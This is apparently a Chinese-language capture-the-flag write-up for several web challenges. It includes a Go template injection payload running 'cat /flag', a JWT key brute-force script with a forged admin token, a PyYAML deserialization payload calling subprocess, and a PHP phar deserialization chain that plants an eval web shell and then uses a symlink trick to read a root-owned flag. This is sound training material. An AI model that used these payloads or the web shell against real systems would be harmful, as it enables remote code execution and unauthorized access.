湾区杯
ssti
发现{{ . }} 显示map[B64Decode:0x6ee380 exec:0x6ee120]说明是Go 模板
后端暴露了两个函数给模板使用:B64Decode,exec,然后试了试发现系统禁了空格,于是直接用那两个函数就行
{{ exec (B64Decode "Y2F0IC9mbGFn") }}
// flag{pqRpoqrMq9TqyhS91afm3rc6HXEDZH1t}
尝试输入{{ . }}回显map[B64Decode:0x6ee380 exec:0x6ee120],map[...] 的格式是 Go 专属。 B64Decode、exec 是 模板上下文里注册的函数,发现空格被禁,于是用这两个函数。
{{ exec (B64Decode "Y2F0IC9mbGFn") }}
//flag{AK4dxoU0r1UnChm7OhHi3v8Kn06sQS46}
ez_python


发现tooken
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"}
{
"username": "guest",
"role": "user"
}
改一下tooken再发,发现回显的不一样
{"error":"JWT Decode Failed. Key Hint","hint":"Key starts with \"@o70xO$0%#qR9#**\". The 2 missing chars are alphanumeric (letters and numbers)."}
生成了一个@o70xO$0%#qR9#a0样式的字典full_dictionary.txt
将获得的token爆破
import jwt
from itertools import product
import string
charset = string.ascii_letters + string.digits
known_part = "@o70xO$0%#qR9#"
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"
for a, b in product(charset, repeat=2):
key = known_part + a + b
try:
decoded = jwt.decode(token, key, algorithms=["HS256"])
print(f"[+] Found key: {key}")
print("Decoded payload:", decoded)
break
except jwt.exceptions.InvalidSignatureError:
continue
except Exception as e:
print("Other error:", e)
//[+] Found key: @o70xO$0%#qR9#m0
//Decoded payload: {'username': 'guest', 'role': 'user'}

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6ImFkbWluIn0.h6QY-f521uX-fy_wmBSN2oVCGKChY9MATy75bfaZ6iU

请帮我解决一道ctf web题,是一个python yaml反序列化题目,目前的思路是,用yaml利… | Chat01
yaml反序列化即可
!!python/object/apply:subprocess.check_output
- ["cat", "/f1111ag"]
//"result":"b'flag{MDy0CDZNuOrq7I0To5bofBy0tdfdVHw8}\\n'"
easy_readfile
<?php
highlight_file(__FILE__);
function waf($data){
if (is_array($data)){
die("Cannot transfer arrays");
}
if (preg_match('/<\?|__HALT_COMPILER|get|Coral|Nimbus|Zephyr|Acheron|ctor|payload|php|filter|base64|rot13|read|data/i', $data)) {
die("You can't do");
}
}
class Coral{
public $pivot;
public function __set($k, $value) {
$k = $this->pivot->ctor;
echo new $k($value);
}
}
class Nimbus{
public $handle;
public $ctor;
public function __destruct() {
return $this->handle();
}
public function __call($name, $arg){
$arg[1] = $this->handle->$name;
}
}
class Zephyr{
public $target;
public $payload;
public function __get($prop)
{
$this->target->$prop = $this->payload;
}
}
class Acheron {
public $mode;
public function __destruct(){
$data = $_POST[0];
if ($this->mode == 'w') {
waf($data);
$filename = "/tmp/".md5(rand()).".phar";
file_put_contents($filename, $data);
echo $filename;
} else if ($this->mode == 'r') {
waf($data);
$f = include($data);
if($f){
echo "It is file";
}
else{
echo "You can look at the others";
}
}
}
}
if(strlen($_POST[1]) < 52) {
$a = unserialize($_POST[1]);
}
else{
echo "str too long";
}
?>
参考[Dest0g3 520迎新赛]PharPOP,基本一样,照着来就行
<?php
$phar = new Phar('phar.phar');
$phar->startBuffering();
$stub = <<<'STUB'
<?php
$cmd='<?php eval($_POST[pass]); ?>';
file_put_contents("pass.php",$cmd);
__HALT_COMPILER();
?>
STUB;
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>
gzip phar.phar
import urllib.parse
with open("phar.phar.gz", 'rb') as fi:
f = fi.read()
ff = urllib.parse.quote(f) #获取信息
print(ff)
"""%1F%8B%08%08%22%D4%BEh%00%0Bphar.phar%00%B3%B1/%C8%28%E0%E5R%00%02%95%E4%DC%14%5Bu%1B%90%80BjYb%8E%86J%7C%80%7FpHtAbqq%AC%A6%B5%82%BD%9D%BA5DeZfNj%7CAiI%7Cr~%5EIj%5EI%B1%86%12H%91%1EP%A7%92%0E%C8%18M%A8%C2%F8x%0FG%9F%90xg%7F%DF%00O%1F%D7%20%0D%B0%29%BC%5Cf%0C%0C%0C%8C%40%2C%08%A5%21%80%03%88KR%8BK%F4J%2AJX%80l%A5%2B%FB2%404O%5D%FD%8DmPe%20y%A1s%0B%1A%E7%ED_e%98%10%FDP%F7%DE%8A%3Bo%E7%BC%F4I%60%02%CA%B9%3B%F9%3A%01%00%D2L%1D%E4%CF%00%00%00"""
(1)
0=%1F%8B%08%08%22%D4%BEh%00%0Bphar.phar%00%B3%B1/%C8%28%E0%E5R%00%02%95%E4%DC%14%5Bu%1B%90%80BjYb%8E%86J%7C%80%7FpHtAbqq%AC%A6%B5%82%BD%9D%BA5DeZfNj%7CAiI%7Cr~%5EIj%5EI%B1%86%12H%91%1EP%A7%92%0E%C8%18M%A8%C2%F8x%0FG%9F%90xg%7F%DF%00O%1F%D7%20%0D%B0%29%BC%5Cf%0C%0C%0C%8C%40%2C%08%A5%21%80%03%88KR%8BK%F4J%2AJX%80l%A5%2B%FB2%404O%5D%FD%8DmPe%20y%A1s%0B%1A%E7%ED_e%98%10%FDP%F7%DE%8A%3Bo%E7%BC%F4I%60%02%CA%B9%3B%F9%3A%01%00%D2L%1D%E4%CF%00%00%00&1=O:7:"Acheron":1:{s:4:"mode";s:1:"w";}
(2)
0=phar:///tmp/1373bb26b3df8756a60395ee16406d53.phar&1=O:7:"Acheron":1:{s:4:"mode";s:1:"r";}


成功写马,在根目录发现 /run.sh
#!/bin/bash
cd /var/www/html/
while :
do
cp -P * /var/www/html/backup/
chmod 755 -R /var/www/html/backup/
sleep 10
done
/start.sh(可能这道题做docker的时候忘了执行已经写好的计划任务shell脚本了,需要自己开一下,也可能是别的环境问题,但执行一下不坏,不然会一直显示没权限)
ln -s /flag p.txt
cd backup
cat p.txt
